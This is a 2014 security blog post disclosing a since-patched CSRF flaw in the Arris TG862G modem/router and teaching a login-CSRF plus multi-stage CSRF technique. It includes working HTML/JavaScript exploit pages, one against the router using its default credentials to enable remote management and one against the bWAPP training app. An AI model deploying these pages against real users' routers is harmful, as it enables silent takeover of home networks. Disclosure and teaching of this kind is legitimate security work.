Tuesday, December 23, 2014

Forging my way into an XFinity home network via the Arris TG862G


TL;DR: Using login CSRF + multi-stage CSRF, you can create a one click exploit that would silently log a user into their vulnerable, Comcast provided modem/router with default credentials (if they have not been changed) and then enable remote management (or anything else). I'll show how I did this with my previously vulnerable modem/router, and then give a more generic POC that you can try out on bWAPP, an intentionally vulnerable web application.

Unnecessary Background

This story starts about a year ago when my colleagues convinced me to stop being lazy and switch to a DOCSIS 3.0 modem so that I could actually get the speeds I am paying for.  I filled out the Comcast XFinity form and had them send me a new modem.  New toy -- Yay!

So basically right after I had the new device working, I decided it was time to mess around.  Turns out the modem is an Arris TG862G, a modem that is designed to be re-branded by many ISPs and distributed to their customers. Unfortunately, as is common with SOHO devices, the modem was universally vulnerable to CSRF (and some XSS as well).

CVE-2014-5437: Cross-site request forgery
CVE-2014-5438: Cross-site Scripting

How bad can it be?

Before sending off the vulnerability report to Arris though, I figured I would try to dream up a worst case scenario, just like I do at my day job.

One of the toughest conditions to meet in the exploitation of most CSRF vulnerabilities is that the victim needs to be authenticated with the vulnerable application.  If you are talking about an application with a huge inactivity timeout -- or one that you can be fairly confident the victim will be authenticated with (Google, Facebook, etc), this is not a problem.  For an application that users are rarely logged into, the likelihood that your attack will be successful goes way down.

Well, as I was thinking about exploitation scenarios, I remembered that this device ships with a standard IP address and uses a default username/password that does not need to be changed, even after the first login. I'd love to see the percentage of customers who have ever even logged into the management console once, let alone changed the default password.

See where I am headed? Login-CSRF.

Ultimately, what we need to do is create a CSRF exploit that causes our victim to issue multiple forged requests to the vulnerable application, in order.

1) Attempt to log the victim in with the default credentials (Login-CSRF)
2) Seamlessly execute the intended CSRF attack(s) without requiring more user interaction

Login-CSRF background

The malicious use case for "Login-CSRF" that is most commonly cited is tricking your victim to log in with your credentials in order to launch an exploit or socially engineer them further.

What I needed is slightly different, not new, and described  below:


If the device's web interface uses forms-based authentication, it is often possible to perform a two-stage attack by first logging the user in to the device and then performing the authenticated action. Since most users do not modify the default credentials for devices of this kind (perhaps on the assumption that the web interface can be accessed only from the internal home network), the attackers web page can first issue a login request containing default credentials. The device then sets a session token in the user's browser, which is sent automatically in subsequent requests, including those generated by the attacker.

This was also discussed around the same time by Jeremiah Blatz at McAfee Foundstone in 2011, titled CSRF: Attack and Defense. Here is an excerpt: 

Many web-enabled devices ship with default user accounts, with well-known usernames and passwords. An attacker can exploit this to use CSRF to attempt to log users into the target website before performing a real CSRF attack. This is of particular concern for routers, which tend to have predictable IP addresses. Changing the default password on these devices prevents attackers from performing a CSRF login operation.

So people have been talking about this for years, but the question is: How do I actually pull this off? There are not a lot of public examples out there, so I figured I would share the solution that I came up with, along with some other examples.

Multi-Stage CSRF background

This is very closely related to multi-POST CSRF, however with multi-POST CSRF, it shoots all of the requests at the same time.  Lanmaster53's technique in particular is great if you need to do multiple things at once, but unfortunately it is not what we need if the requests are time or sequence sensitive.  

You want to pull multi-stage CSRF out of the arsenal when you need the victim to submit multiple requests -- in order -- on your behalf.  There are multiple scenarios where this method will give you an overall better exploit, not just with Login-CSRF. The first time I had to do this on an assessment, I needed my victim to check out an item from revision control, modify it, then check it back in.  If you shotgunned all three CSRF's at the same time, it would most likely not work, for obvious reasons. To accomplish that hack, I used a javascript timer to space out the requests, and my finished exploit was very similar to this post by Charlie Eriksen.

Instead of using the timer based approach for this POC, I decided to use XMLHttpRequest combined with onreadystatechange. I'll show the Arris POC first, and then I'll include a POC for launching this attack against bWAPP, an intentionally vulnerable web application, so that you can try it for yourself.

Arris POC

So now we have all the pieces to do something evil. The following will work if the victim has an ArrisTG862G as long as the victim has not changed their default password for the Arris modem:

1) Victim arrives at attacker's evil site via phishing, watering hole attack, etc
2) Victim is CSRFed into authenticating with the Arris TG862G with default credentials
3) Victim is then CSRFed into opening up remote management of the router
4) Attacker logs into router with default credentials from the internet

Here is the CSRF source served by the attacker (arris-MultiStage.html):

<html>
  <head>
    <script>

      function submitRequest1()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://10.0.0.1/home_loggedout.php", true);
 xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        xhr.withCredentials = true;
        var body = "username=admin&password=password";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.onreadystatechange = function(){
          if(xhr.readyState == 4){
            submitRequest2();
            }
          }
        xhr.send(new Blob([aBody]));
      }

      function submitRequest2()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://10.0.0.1/remote_management", true);
 xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        xhr.withCredentials = true;
        var body = "http_port=8080&http=enabled&single=any";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
</script>
</head>
<body onload="submitRequest1();">
<img src="distraction.jpg" alt="Nothing to see here">
</body>
</html>

The way this works is that the body onload at the very bottom calls the first function submitRequest1(). That function launches the first CSRF request.  Then the onreadystatechange inside submitRequest1() calls the second function, submitRequest2(), but only after the first request has finished and the response is ready.  Once submitRequest2() is called, the second CSRF request is made.  The important thing to note here, is that by the time the second request is made, it uses the post authentication session token, which is why it is successful.

A quick side note before moving on: You could easily add the onreadystatechange lines to submitRequest2(), and point that to submitRequest3(), and so on.

In terms of the severity of this exploit, remember that the attacker could just look through their web logs to determine the public IP of people who fell victim to the attack.  At that point, it is just a matter of connecting to the public IP on port 8080/tcp, and seeing if they can log in with the default credentials.

Lastly, before moving away from Arris/Comcast, I wanted to remind everyone that both the CSRF and XSS I reported on back in July have been fixed, and the fix has been pushed out by Comcast. 

If you have an Arris modem/router but do not use Comcast, contact your ISP (or Arris) to verify that your firmware has been updated to address this vulnerability.  Or you could fire up Burp and see for yourself. ;)  


bWAPP POC

bWAPP is an intentionally vulnerable web application, and it is a perfect place to try out multi-stage CSRF on something you can easily download and that you know is vulnerable.

1) Login in to bWAPP and pick the CSRF Transfer Amount module:
2) Verify the current value (1000 EUR):
3) Log out! <--- This is normally what would prevent CSRF from working! If the user is logged out, your CSRF attack is not going to work!

4) Have your victim navigate to your attacker's server and load the CSRF payload:
5) Navigate back to https://172.16.214.132/bWAPP/csrf_2.php. You should be logged in (magic), and you should see that 10 EUR has been removed from the account:

Here is the code:

<html>
  <head>
    <script>
      function submitRequest1()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://172.16.214.132/bWAPP/login.php", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        xhr.withCredentials = true;
        var body = "login=bee&password=bug&security_level=0&form=submit";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.onreadystatechange = function(){
           if(xhr.readyState == 4){
               submitRequest2();
           }
        } 
        xhr.send(new Blob([aBody]));
      }


      function submitRequest2()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("GET", "https://172.16.214.132/bWAPP/csrf_2.php?account=123-45678-90&amount=10&action=transfer", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.withCredentials = true;
        var body = "";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    

    </script>
</head>
<body onload="submitRequest1();">
  </body>
</html>

That's it.  I hope this POC will come in handy next time you need to demonstrate how bad CSRF could be.  I know most developers/companies will fix CSRF as soon as you tell them it is vulnerable, but sometimes, a one click exploit is worth a thousand words!

No comments:

Pentest Home Lab - 0x2 - Building Your AD Lab on Premises

In Pentest Home Lab - 0x0 - Building a virtual corporate domain , we talked about why you would want to build your own AD pentest lab, where...